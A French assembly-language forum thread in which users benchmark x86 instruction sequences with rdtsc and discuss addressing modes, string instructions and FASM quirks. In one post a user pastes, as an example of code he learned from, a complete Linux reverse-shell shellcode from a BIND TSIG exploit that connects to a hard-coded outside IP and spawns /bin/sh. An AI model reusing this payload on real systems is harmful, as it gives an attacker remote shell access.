IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

x86 32-bits / 64-bits Assembleur Discussion :

tests de performances x86


Sujet :

x86 32-bits / 64-bits Assembleur

  1. #21
    Membre averti
    Profil pro
    Inscrit en
    Mars 2013
    Messages
    397
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2013
    Messages : 397
    Points : 424
    Points
    424
    Par défaut
    C'est surtout le faite qu'il n'y a pas d'accès mémoire. Que l'instruction est indépendante qui fait la différence.
    Le nombre de byte dans l'opcode ne change rien ou pas grand chose pour ce que j'ai remarqué.

    Mais bon là tu parle de add eax,2. En considérant que le registre est déjà à zéro.

    En faite, ce qui était valable pour mettre un registre à 1 ne l'est pas pour mettre un registre à deux contrairement à ce que je pensais.

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
     
    	repeat 10000
    	mov	eax,2
    	end repeat
     
    = 13023
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
     
    	repeat 10000
    	xor	eax,eax
    	inc	eax
    	inc	eax
    	end repeat
     
    = 12474

    edit:
    Exemple avec un nombre de byte identique:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
     
    	repeat 10000
    	inc	di
    	inc	di
    	inc	di
    	inc	di
    	inc	di
    	end repeat
     
    = 50562
     
    	repeat 10000
    	inc	edi
    	inc	edi
    	inc	edi
    	inc	edi
    	inc	edi
    	inc	edi
    	inc	edi
    	inc	edi
    	inc	edi
    	inc	edi
    	end repeat
     
    = 100368
    Mais bon il y a beaucoup de choses à savoir.
    Par exemple dans un test précédant, j'avais utilisé di et si pour l'incrémentation de strings placées au départ dans les registres 32 bits correspondant.
    Le résultat était catastrophique.

  2. #22
    Membre averti
    Profil pro
    Inscrit en
    Mars 2013
    Messages
    397
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2013
    Messages : 397
    Points : 424
    Points
    424
    Par défaut
    Arf, j'ai oublié le xor.

    Voici les bons résultats, la différence est moins grande:

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
     
    	repeat 10000
    	xor	edi,edi
    	inc	di
    	inc	di
    	inc	di
    	inc	di
    	inc	di
    	end repeat
     
    = 34641
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
     
    	repeat 10000
    	xor	edi,edi
    	inc	edi
    	inc	edi
    	inc	edi
    	inc	edi
    	inc	edi
    	inc	edi
    	inc	edi
    	inc	edi
    	inc	edi
    	inc	edi
    	end repeat
     
    = 46089

    Un autre exemple avec la comparaison de strlen avec et sans scasb plus haut dans le topique.
    Les deux codes font tous les deux 19 bytes, la différence des résultats est pourtant énorme.
    De plus le code sans scasb passe un saut conditionnel à chaque byte.
    Comme dit l'auteur du site que j'ai mis en lien, les instructions de string font plusieurs choses en même temps, c'est pourquoi il faut mieux les éviter.
    Au départ je pensais qu'il parlait de les éviter lorsqu'on a pas besoin de faire chacune des choses que l'instruction propose, ce qui aurait été d'ailleurs stupide de les utiliser dans ce cas. Mais en faite non, il parlait de les éviter parce qu'elle font plusieurs choses en même temps point barre.
    C'est justement ce qui m'a poussé à faire ces tests.

  3. #23
    Membre confirmé Avatar de bifur
    passe le balais et l'aspirateur
    Inscrit en
    Mars 2008
    Messages
    314
    Détails du profil
    Informations personnelles :
    Âge : 38

    Informations professionnelles :
    Activité : passe le balais et l'aspirateur

    Informations forums :
    Inscription : Mars 2008
    Messages : 314
    Points : 550
    Points
    550
    Par défaut
    il ne faut pas oublier non plus que l'on peut uttiliser des pointeur de la forme [ebx*4+ebp] (4 peut être remplacé par 2 ou 8) si on veut eviter de faire plusieurs inc (ou dec) a la suite

  4. #24
    Membre averti
    Profil pro
    Inscrit en
    Mars 2013
    Messages
    397
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2013
    Messages : 397
    Points : 424
    Points
    424
    Par défaut
    Oui bien sur.
    Mais là je parlais surtout de calcul pur, pas de pointage vers une adresse.

    Par contre je n'utilise jamais ebp, en dehors d'une aide pour pointer les arguments d'une fonction à la limite.
    C'est pas une façon de faire qui vient des compilo "C" ça ?

    Ca me rappel un code que j'ai trouvé récemment où il y avait énormément de pointage d'adresse à faire. Pratiquement que ça d'ailleurs.
    Le mec pointait toujours ses adresses en écrivant [ebp+adresse], alors qu'ebp ou rien revenait au même..
    Ca plus une grosse quantité de truc inutile..
    Au final j'ai écris mon propre code à partir du siens, qui fait pratiquement moitié moins en taille : /
    Je veux dire, mon code il fonctionne, je l'ai testé sur plusieurs systêmes Windows, dans plusieurs conditions différentes, aucun bug. Donc je vois pas l'intêret de son [ebp+addr], à part se compliquer la vie (ça plus d'autres trucs sur 5 lignes que j'écrivais sur une seule.. lol quoi..)

    Dans ton cas il y a peut être une raison à rajouter +ebp, mais dans le siens, ça ne servait strictement à rien.

    Perso j'ai appris en prenant exemple sur ce genre de code:

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
     
    BIND TSIG buffer overflow
     
    bits 32
     
    section .text
        global _start
     
    _start:
        cmp al, 0x90
        mov esi, esp
        add esi, byte +0x40
        mov dword [esi], 0xac0b0002         ; 0x2 => AF_INET and 0x0bac = 2988 = port
        mov dword [esi+0x4], 0xa047c497     ; ip = 151.196.71.160
     
    .connection:
        ; socket(PF_INET, SOCK_STREAM, 0);
        xor eax, eax
        ; sin_zero
        mov [esi+0x8], eax
        mov [esi+0xc], eax
        ; construct socketcall args[]
        xor eax, eax
        mov [esi+0x28], eax     ; IPPROTO_IP
        inc eax
        mov [esi+0x24], eax     ; SOCK_STREAM
        inc eax
        mov [esi+0x20], eax     ; PF_INET
        lea ecx, [esi+0x20]     ; socketcall args
        xor ebx, ebx
        inc ebx                 ; socket()
        xor eax, eax
        add eax, byte +0x66     ; socketcall()
        push ecx                ; socket call args
        push ebx                ; SYS_SOCKET
        push eax                ; __NR_SOCKETCALL
        int 0x80
     
        ; connect(sockfd, {sa_family=AF_INET, sin_port=htons(2988), sin_addr=inet_addr("151.196.71.160")}, 16);
        mov [esi+0x20], eax     ; sockfd
        nop
        cmp al, 0x90
        lea eax, [esi]
        mov [esi+0x24], eax     ; const struct sockaddr *serv_addr
        xor eax, eax
        add eax, byte +0x10
        mov [esi+0x28], eax     ; addrlen
        pop eax                 ; __NR_SOCKETCALL
        pop ebx                 
        pop ecx                 ; sockcall args
        inc ebx                 
        inc ebx                 ; ebx = SYS_CONNECT
        push dword [esi+0x20]   ; sockfd
        int 0x80
     
        pop ebx                 ; ebx = sockfd
        dec edi                 ; assume edi = 0 for connection to 151.196.71.160 then "our" connection
        jz .launchshell
     
        ; send sockaddr struct
        ; write(sockfd, buf, 12);
        mov eax, [esp]
        mov [esi+0x8], eax
        nop
        mov ebp, 0x100007f              ; ip = 127.0.0.1
        mov [esi+0x4], ebp
        mov dword [esi], 0x86358003     ; id number for exploit?
        mov eax, 0x4                    ; __NR_WRITE
        lea ecx, [esi]                  ; const char *buf
        xor edx, edx
        add edx, byte +0xc              ; size_t count = 12
        int 0x80
     
        ; go back to do the same
        ; socket(PF_INET, SOCK_STREAM, 0);
        ; connect(sockfd, {sa_family=AF_INET, sin_port=htons(2987), sin_addr=inet_addr("127.0.0.1")}, 16);
        ; write(sockfd, buf, 12);
        mov dword [esi], 0xab0b0002     ; 0x2 => AF_INET and 0x0bab = 2987 = port
        mov [esi+0x4], ebp
        nop
        xor edi, edi
        inc edi
        jmp short .connection
     
    .launchshell:
        ; dup2(sockfd, 0)
        nop
        xor eax, eax
        add eax, byte +0x3f             ; dup2
        xor ecx, ecx                    ; stdin
        push eax
        int 0x80
     
        ; dup2(sockfd, 1)
        pop eax
        inc ecx                         ; stdout
        int 0x80
     
        ; execve("/bin/sh", ["/bin/sh", NULL], [NULL])
        mov dword [esi], "/bin"
        mov dword [esi+0x4], "/sh"
        mov eax, esi
        add eax, byte +0x8
        mov [esi+0x8], eax
        xor eax, eax
        mov [esi+0xc], eax
        mov al, 0xb                     ; execve()
        lea edx, [esi+0xc]              ; char const *envp[]
        lea ecx, [esi+0x8]              ; char const *argv[]
        mov ebx, esi                    ; filename path
        int 0x80
     
        ; exit(ebx)
        xor eax, eax
        inc eax
        int 0x80
    source:
    http://binholic.blogspot.fr/search?u...max-results=10

  5. #25
    Membre confirmé Avatar de bifur
    passe le balais et l'aspirateur
    Inscrit en
    Mars 2008
    Messages
    314
    Détails du profil
    Informations personnelles :
    Âge : 38

    Informations professionnelles :
    Activité : passe le balais et l'aspirateur

    Informations forums :
    Inscription : Mars 2008
    Messages : 314
    Points : 550
    Points
    550
    Par défaut
    ebp pour pointeur de base étendu (enfin je croie) c'est un registre 32 bit du processeur alors pourquois ne pas l'uttiliser? peut être que ça vient du C mais c'est pas moi qui pourrait le dire. j'ai mis ebp comme j'aurait pu mettre une constante, voir remplacer ebx par un autre registre
    plutot que de faire

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    xor eax,eax
    mov ebp,adressedelazoneavider
    mov ecx,taille_de_la_zone_a_vider_en_dword
    boucle:
    mov [ebp],eax
    inc ebp
    inc ebp
    inc ebp
    inc ebp  ;ou alors add ebp,4
    dec ecx
    jnz boucle
    on pourrait faire ça:

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    xor eax,eax
    xor ebx,ebx
    mov ebp,adressedelazoneavider
    mov ecx,taille_de_la_zone_a_vider_en_dword
    boucle:
    mov [ebx*4+ebp],eax
    inc ebx
    dec ecx
    jnz boucle
    ou ça:

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    xor eax,eax
    mov ebp,adressedelazoneavider
    mov ebx,taille_de_la_zone_a_vider_en_dword_moin_1
    boucle:
    mov [ebx*4+ebp],eax
    dec ebx
    jnz boucle
    mov [ebp],eax
    (dans les deux dernier exemple on pourrait même remplacer ebp par une constante)

    par le changement d'adressage, je ne sais pas si on gagnerais vraiment en vitesse mais déja on uttilise moins d'instruction

  6. #26
    Membre averti
    Profil pro
    Inscrit en
    Mars 2013
    Messages
    397
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2013
    Messages : 397
    Points : 424
    Points
    424
    Par défaut
    Ok merci pour les exemples, je vais regarder ça au debugger voir ce que ça donne précisément.

    edit:
    Pour le premier exemple, ok.
    Pour les deux autres, j'ai du l'écrire de cette façon pour que ça fonctionne:
    mov [ebp+4*ebx],eax

    Sinon ça pointe vers des adresses qui n'existe pas.
    Mais bon c'est peut être propre à la syntaxe Fasm. Surtout que le code du mec dont je parlais dans mon post précédant était également toujours écrit avec ebp devant et non derrière.

    Perso pour faire un zeromem, j'ai toujours utilisé stosb (avant d'avoir ce programme de test de performance).
    Et j'ai toujours utilisé esi ou edi pour le travail de zone mémoire (zeromem, memcpy).
    Il me "semble" que c'est le standard intel.

    ebp j'ai l'utilise uniquement pour retrouver les arguments d'une fonction. Car au moins si tu fais un "push ebp", "mov ebp,esp", tu sais que le premier argument se trouve à ebp+8.
    C'est uniquement dans ce but que je l'utilise.
    Registre de pile, je le laisse pour la gestion de la pile. Mais bon c'est ma façon de faire.

    Voici ce que donne tes codes:

    1er = 2205 / 558 (avec add ebp,4)
    2eme = 558
    3eme = 540

    Ensuite d'autres zeromem avec et sans stosb:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
     
    	mov	edi,buffer1
    	mov	ecx,512
    	xor	eax,eax
    	repnz	stosd
     
    = 306
     
     
    	mov	edi,buffer1
    	mov	ecx,2048
    	xor	al,al
    	repnz	stosb
     
    = 396
     
     
    	mov	edi,buffer1
    	mov	ecx,512
    	xor	eax,eax
         @@:
    	mov	[edi],eax
    	add	edi,4
    	sub	ecx,4
    	jnz	@b
     
    = 153
     
     
    	mov	edi,buffer1
    	mov	ecx,2048
    	xor	al,al
         @@:
    	mov	[edi],al
    	inc	edi
    	dec	ecx
    	jnz	@b
     
    = 2049

  7. #27
    Membre confirmé Avatar de bifur
    passe le balais et l'aspirateur
    Inscrit en
    Mars 2008
    Messages
    314
    Détails du profil
    Informations personnelles :
    Âge : 38

    Informations professionnelles :
    Activité : passe le balais et l'aspirateur

    Informations forums :
    Inscription : Mars 2008
    Messages : 314
    Points : 550
    Points
    550
    Par défaut
    si j'en croie la notice intel (Intel Architecture Software Developer’s Manual volume 2 chapitre 2.6) bp est uttilisé avec si et di pour faire des addition d'adressage de données en 16bit, le seul autre registre qui permettait ça en 16bit était bx. en 32bit toutes les combinaison de registre semble être possible pour faire les addition d'adressage, enfin si j'ai bien comprit les tableaux

    pour ce qui est de tes résultat je suis étonné de voir que l'avant dernière routine soit aussi rapide, surtout par rapport a la dernière. l'uttilisation de registre 4x plus grand divise par 13 le temp d'execution ça me semble beaucoup surtout qu'il n'y a pas eu cette différence sur les différent test effectué jusque la

  8. #28
    Membre averti
    Profil pro
    Inscrit en
    Mars 2013
    Messages
    397
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2013
    Messages : 397
    Points : 424
    Points
    424
    Par défaut
    Ok je n'étais pas au courant.
    Perso j'utilise souvent ebx pour les adresses.

    Oui je me suis trompé apparemment, j'ai fait un sub ecx,4...
    Le bon résultat donne 540..

    Pour le coup là c'est les instructions string qui fonctionnent mieux.

    J'ai réécris le main.c du code de benchmark en asm pour que le code soit intégralement en asm.
    Au moins c'est plus simple.
    Normalement il n'y a pas d'erreur, j'ai parfois un léger décalage du genre 5 dans le résultat, mais ça doit être lié à la différence de code:

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
     
    ;original code:
    ;http://ftp-developpez.com/dap/codetiming.zip
     
    ;author:
    ;http://dap.developpez.com/
     
    format ELF executable 3
     
    include 'include/linux/lin32a.inc'
    interpreter '/lib/ld-linux.so.2'
    needed 'libc.so.6'
     
    import printf,\
           puts
     
    macro serialize
    {
            xor eax, eax
            cpuid
    }
     
    ;-------------------------------------------------------------------------
    segment readable executable
    ;-------------------------------------------------------------------------
     
    entry $
     
    	stdcall	run_tests,nbTests,ticks,overheads
     
    	invoke	puts,table1
     
    	mov	edx,[ticks]
    	mov	eax,[overheads]
    	sub	edx,eax
     
    	invoke	printf,form1,[ticks],[overheads],edx
     
    	xor	ecx,ecx
        @re:
    	inc	cl
    	push	ecx
     
    	mov	edx,[ticks+ecx*4]
    	mov	eax,[overheads+ecx*4]
    	sub	edx,eax
    	inc	[i]
     
    	cinvoke	printf,form2,[i],[ticks+ecx*4],[overheads+ecx*4],edx
     
    	pop	ecx
     
    	mov	eax,[ticks+ecx*4]
    	cmp	eax,[minTicks]
    	jnb	@f
    	mov	[minTicks],eax
         @@:
    	mov	eax,[overheads+ecx*4]
    	cmp	eax,[minOverhead]
    	jnb	@f
    	mov	[minOverhead],eax
         @@:
    	cmp	ecx,nbTests-1
    	jnz	@re
     
     
    	invoke	puts,table2
     
    	mov	eax,nbTests
    	test	eax,eax
    	jz	@f
     
    	mov	edx,[minTicks]
    	mov	eax,[minOverhead]
    	sub	edx,eax
     
    	cinvoke	printf,form3,[minTicks],[minOverhead],edx
     
         @@:
    	xor	ebx,ebx
    	mov	eax,_exit
    	int	0x80
     
     
     
     
     
    run_tests:
            push	ebp
            push	ebx		;EBX is modified by CPUID
     
            mov	ebp,[esp+12]	;number of tests
            mov	esi,[esp+16]	;offset of ticks[]
            mov	edi,[esp+20]	;offset of overheads[]
     
     
    ;I've heard that the latency of CPUID is different the first couple of times
    ;you use it
    	repeat 5
    	 xor	eax,eax
    	 cpuid
    	end repeat
     
    loopTests:
    	push	ebp
    	push	edi
    	push	esi
    ;Count the number of cycles of an empty code (overhead)
    	serialize
    	rdtsc
    	push	eax		;save first count
    	serialize
     
    	serialize
    	rdtsc
    	push	eax		;save second count
    	serialize
    	pop	eax		;retrieve second count
    	pop	ecx		;retrieve first count
    	sub	eax,ecx		;compute overhead
    	push	eax		;save overhead on the stack
     
    ;Count the cycles of the test code
    	serialize
    	rdtsc
    	push	eax		;save first count
    	serialize
     
            ;insert test code in this file
    	include	'testcode.inc'
     
    	serialize
    	rdtsc
    	push	eax		;save second count
            serialize
    	pop	eax		;retrieve second count
    	pop	ecx		;retrieve the number of cycles at the begining of code
    	sub	eax,ecx		;count it down
     
    	pop	ecx		;retrieve the overhead
     
    	pop	esi
    	mov	[esi],eax
    	add	esi,4
     
    	pop	edi
    	mov	[edi],ecx
    	add	edi,4
     
    	pop	ebp
    	sub	ebp,1
    	jnz	loopTests
     
    	pop	ebx
    	pop	ebp
    	ret
     
    ;-------------------------------------------------------------------------
    segment readable writeable
    ;-------------------------------------------------------------------------
     
    nbTests = 10
    ticks rd nbTests
    overheads rd nbTests
    minTicks dd 0xFFFFFFFF
    minOverhead dd 0xFFFFFFFF
    i dd 0
     
    table1 db ' _____________________________________________________',10,\
    	  '|    # |     Cycles |     Overhead | Without overhead |',10,\
    	  '|------|------------|--------------|------------------|',0
     
    table2 db '|______|____________|______________|__________________|',0
     
     
    form1 db '|    1 |%11d |%13d |%17d | (discarded)',10,0
     
    form2 db '|%5d |%11d |%13d |%17d |',10,0
     
    form3 db 10,\
    	 '                       Minimum ticks    : %10d',10,\
    	 '                     - Minimum overhead : %10d',10,\
    	 '                     --------------------------------',10,\
    	 '                                          %10d',10,0
     
    ;-------------------------------------------------------------------------
    Voilà..
    ./fasm code.asm = bin : )


    edit:
    A prendre avec des pincettes quand même, car le 1er test (discarded) du code asm a un nombre de cycle beaucoup plus élevé.

    Exemple version C:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
     
    |    # |     Cycles |     Overhead | Without overhead |
    |------|------------|--------------|------------------|
    |    1 |       1251 |          432 |              819 | (discarded)
    |    2 |        999 |          423 |              576 |
    |    3 |        972 |          423 |              549 |
    |    4 |        972 |          432 |              540 |
    |    5 |        972 |          432 |              540 |
    |    6 |        972 |          432 |              540 |
    |    7 |        972 |          423 |              549 |
    |    8 |        963 |          423 |              540 |
    |    9 |        963 |          423 |              540 |
    |   10 |        963 |          423 |              540 |
    |______|____________|______________|__________________|
     
                           Minimum ticks    :        963
                         - Minimum overhead :        423
                         --------------------------------
                                                     540
    version asm
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
     
    |    # |     Cycles |     Overhead | Without overhead |
    |------|------------|--------------|------------------|
    |    1 |       4896 |          423 |             4473 | (discarded)
    |    1 |       1017 |          432 |              585 |
    |    2 |        981 |          432 |              549 |
    |    3 |        990 |          423 |              567 |
    |    4 |        981 |          432 |              549 |
    |    5 |        981 |          423 |              558 |
    |    6 |        981 |          432 |              549 |
    |    7 |        981 |          423 |              558 |
    |    8 |        990 |          432 |              558 |
    |    9 |        981 |          423 |              558 |
    |______|____________|______________|__________________|
     
                           Minimum ticks    :        981
                         - Minimum overhead :        423
                         --------------------------------
                                                     558
    Je vérifierais le code plus tard. Là je l'ai écris à la va-vite. C'est peut être pas grand chose.

    edit:
    Manque de performance du code asm je pense, ce qui se voit donc lors du premier tour.
    Problème d'alignement ou autre.
    A savoir que le code original comporte le "main.c" et le rdtsc_test.asm".
    Les deux codes sont traduit en obj, puis compilé par gcc..

    Mais là en écrivant un code full asm, je ne passe plus par gcc.
    En même temps le code gcc fait 10ko, celui asm en fait 5.
    Ca peut venir de beaucoup de choses. En faite je ne sais pas du tout.

  9. #29
    Membre averti
    Profil pro
    Inscrit en
    Mars 2013
    Messages
    397
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2013
    Messages : 397
    Points : 424
    Points
    424
    Par défaut
    C'est bon j'ai résolu le problème.
    Sans trop le comprendre pour autant.
    Apparemment, c'est le faite que les buffers du testcode ne se trouvent pas dans le même segment que le code lui-même.

    J'ai pourtant testé plusieurs alignements, c'était soit pire, soit pareil.. J'ai également modifié certaines choses dans le code, dont un call inutile, mais ça ne changeait strictement rien.
    Là je suis passé de 5000 à 1000 cycles pour le discarded.
    Par contre, obligé tout de même d'aligner les buffers, sinon segfault.

    Ce qui est étrange c'est que gcc n'a pas l'air de modifier le code obj créé par fasm pour le code C.
    Je manque de connaissance sur l'alignement, les segments et sections pour comprendre le pourquoi du comment pour l'instant..

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
     
    ;original code:
    ;http://ftp-developpez.com/dap/codetiming.zip
     
    ;author:
    ;http://dap.developpez.com/
     
     
    format ELF executable 3
     
    include 'include/linux/lin32a.inc'
    interpreter '/lib/ld-linux.so.2'
    needed 'libc.so.6'
     
    import printf,\
           puts
     
    macro serialize
    {
            xor eax, eax
            cpuid
    }
     
    ;-------------------------------------------------------------------------
    segment readable writable executable
    ;-------------------------------------------------------------------------
     
    entry $
     
    	repeat 5
    	 xor	eax,eax
    	 cpuid
    	end repeat
     
            mov	ebx,nbTests	;number of tests
            mov	esi,ticks	;offset of ticks[]
            mov	edi,overheads	;offset of overheads[]
     
    loopTests:
    	push	ebx
    	push	edi
    	push	esi
    ;Count the number of cycles of an empty code (overhead)
    	serialize
    	rdtsc
    	push	eax		;save first count
    	serialize
     
    	serialize
    	rdtsc
    	push	eax		;save second count
    	serialize
    	pop	eax		;retrieve second count
    	pop	ecx		;retrieve first count
    	sub	eax,ecx		;compute overhead
    	push	eax		;save overhead on the stack
     
    ;Count the cycles of the test code
    	serialize
    	rdtsc
    	push	eax		;save first count
    	serialize
     
    	include	'testcode.inc'
     
    	serialize
    	rdtsc
    	push	eax		;save second count
            serialize
    	pop	eax		;retrieve second count
    	pop	ecx		;retrieve the number of cycles at the begining of code
    	sub	eax,ecx		;count it down
     
    	pop	ecx		;retrieve the overhead
     
    	pop	esi
    	mov	[esi],eax
    	add	esi,4
     
    	pop	edi
    	mov	[edi],ecx
    	add	edi,4
     
    	pop	ebx
    	sub	ebx,1
    	jnz	loopTests
     
     
    	mov	esi,ticks
    	mov	edi,overheads
     
    	invoke	puts,table1
     
    	mov	edx,[esi]
    	mov	eax,[edi]
    	sub	edx,eax
     
    	invoke	printf,form1,[esi],[edi],edx
     
    	xor	ecx,ecx
    	inc	cl
        @re:
    	add	esi,4
    	add	edi,4
    	push	esi
    	push	edi
     
    	mov	edx,[esi]
    	mov	eax,[edi]
    	sub	edx,eax
     
    	inc	cl
    	push	ecx
     
    	cinvoke	printf,form2,ecx,[esi],[edi],edx
     
    	pop	ecx
    	pop	edi
    	pop	esi
     
    	mov	eax,[esi]
    	cmp	eax,[minTicks]
    	jnb	@f
    	mov	[minTicks],eax
         @@:
    	mov	eax,[edi]
    	cmp	eax,[minOverhead]
    	jnb	@f
    	mov	[minOverhead],eax
         @@:
    	cmp	cl,nbTests
    	jnz	@re
     
    	invoke	puts,table2
     
    	mov	eax,nbTests
    	test	eax,eax
    	jz	@f
     
    	mov	edx,[minTicks]
    	mov	eax,[minOverhead]
    	sub	edx,eax
     
    	invoke	printf,form3,[minTicks],[minOverhead],edx
     
         @@:
    	xor	ebx,ebx
    	mov	eax,_exit
    	int	0x80
     
     
    align 4
    buffer1 rb _buffer1
    align 4
    buffer2 rb _buffer2
     
    ;-------------------------------------------------------------------------
    segment readable writeable
    ;-------------------------------------------------------------------------
     
    nbTests = 10
     
    ticks rd nbTests
    overheads rd nbTests
     
    minTicks dd 0xFFFFFFFF
    minOverhead dd 0xFFFFFFFF
     
    i dd 0
     
    table1 db ' _____________________________________________________',10,\
    	  '|    # |     Cycles |     Overhead | Without overhead |',10,\
    	  '|------|------------|--------------|------------------|',0
     
    table2 db '|______|____________|______________|__________________|',0
     
    form1 db '|    1 |%11d |%13d |%17d | (discarded)',10,0
     
    form2 db '|%5d |%11d |%13d |%17d |',10,0
     
    form3 db 10,\
    	 '                       Minimum ticks    : %10d',10,\
    	 '                     - Minimum overhead : %10d',10,\
    	 '                     --------------------------------',10,\
    	 '                                          %10d',10,0
     
    ;-------------------------------------------------------------------------

  10. #30
    Membre averti
    Profil pro
    Inscrit en
    Mars 2013
    Messages
    397
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2013
    Messages : 397
    Points : 424
    Points
    424
    Par défaut
    En faite j'ai l'impression qu'il faudrait omettre aussi le deuxième résultat.
    Il est toujours légèrement au-dessus des autres, que ce soit dans le code original ou l'autre.

    Bon ce n'est pas bien important tant que le code comporte plus de 2 tests.

    a+

  11. #31
    Membre averti
    Profil pro
    Inscrit en
    Mars 2013
    Messages
    397
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2013
    Messages : 397
    Points : 424
    Points
    424
    Par défaut
    Edit: Non rien..

    Chose étrange dont je me suis aperçu avec Fasm.
    SI je met ceci dans la même section que celle du code executable:

    buffer1 rb 2048
    buffer2 rb 2048

    Les deux buffers ne sont pas compilé par Fasm. Ils n'existent simplement pas.. J'ai fait un dump, et Fasm les ignorent carrément..
    Par contre, en rajoutant un "nop" (ou n'importe quel byte) juste en dessous, ils sont pris en compte et compilé.
    Etrange !

  12. #32
    Membre averti
    Profil pro
    Inscrit en
    Mars 2013
    Messages
    397
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2013
    Messages : 397
    Points : 424
    Points
    424
    Par défaut
    Pour en revenir à un de mes prédédants post:
    http://www.developpez.net/forums/d13...6/#post7593280

    Pour le test n°2 avec "cmp + cmpsb", je viens de faire le test en utilisant "inc di" au lieu de "inc edi" pour l'incrémentation de l'adresse.
    Ca confirme ce qu'il s'était passé pour un autre code dont j'avais parlé au début du topique.

    On passe de 2952 à un résultat de 8271, simplement en remplaçant "inc edi" par "inc di" sur un code de 33 lignes.

    Il semble donc que faire varier une adresse en utilisant la version 16 bits du registre est à éviter absolument.
    En plus ça peut provoquer un problème d'adresse si la mémoire se trouve à la limite d'une incrémentation du 3ème byte. Par exemple:

